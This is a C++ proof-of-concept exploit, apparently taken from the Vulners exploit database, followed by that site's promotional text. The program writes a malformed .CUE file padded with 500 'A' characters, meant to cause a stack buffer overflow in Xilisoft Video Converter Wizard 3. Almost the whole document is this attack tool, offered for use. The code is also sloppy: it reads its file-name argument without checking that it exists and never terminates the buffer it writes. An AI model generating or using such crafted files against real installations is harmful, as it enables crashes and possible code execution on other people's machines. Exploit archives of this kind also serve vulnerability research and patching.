`/*
----------------------------------------------------------------------------------------
Xilisoft Video Converter Wizard 3 .CUE File Stack Buffer Overflow POC
name: xilisoft.cpp
Credits : fl0 fl0w
----------------------------------------------------------------------------------------
ScreanShot in the debugger
Link: http://www.downloadatoz.com/xilisoft-video-converter/wizard.html
http://img23.imageshack.us/my.php?image=xilisoftvideoconverter.jpg
----------------------------------------------------------------------------------------
*/
//Start
#include <stdio.h>
#include <string.h>
#include <stdio.h>
#include <assert.h>
#include <windows.h>
#define SIZE 100000
#define FILE_FF " BINARY.. TRACK 01 MODE2/2352.. INDEX 01 00:00:00.."
class EXPLOIT {
public:
int check (char *, char *);
void Usage (char *);
};
static int Poz = 1;
static int Neg = 0;
int i;
char Name [SIZE];
char NeWbuff [SIZE];
int main (int argc, char *argv [])
{
EXPLOIT VIDEO;
if ( argc < 2)
VIDEO.Usage ( argv [0]);
if ( VIDEO.check ( argv [1], "-file") == Neg) {
fprintf ( stdout , " Incorect input ");
printf ( " \t..Usage is %s -file filename.. \n", Name);
exit ( 0);
}
do {
NeWbuff [i] = 'A';
i++;
}while (i < 500);
FILE *f;
strcpy (Name, argv [2]);
strcat (Name, " .cue ");
f = fopen (Name, "w");
assert ( f != NULL);
strncpy ( NeWbuff + 500 , FILE_FF , strlen ( FILE_FF));
fputs("FILE \"", f);
fprintf ( f, " %s ", NeWbuff);
fprintf ( stdout , "File build ! ");
exit ( 0);
getchar ();
return 0;
}
int EXPLOIT::check (char *Arg_, char *_Arg)
{
if ( strcmp ( Arg_, _Arg) == 0)
return Poz;
return Neg;
}
void EXPLOIT::Usage (char *Name)
{
system ("cls");
fprintf ( stdout , " \n..Xilisoft Video Converter Wizard 3 .CUE File Stack Buffer Overflow POC..\n ");
printf ( " \t..Usage is %s -file filename.. \n", Name);
fprintf ( stdout , "..All Credits fl0 fl0w.. \n");
}
//EOF
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation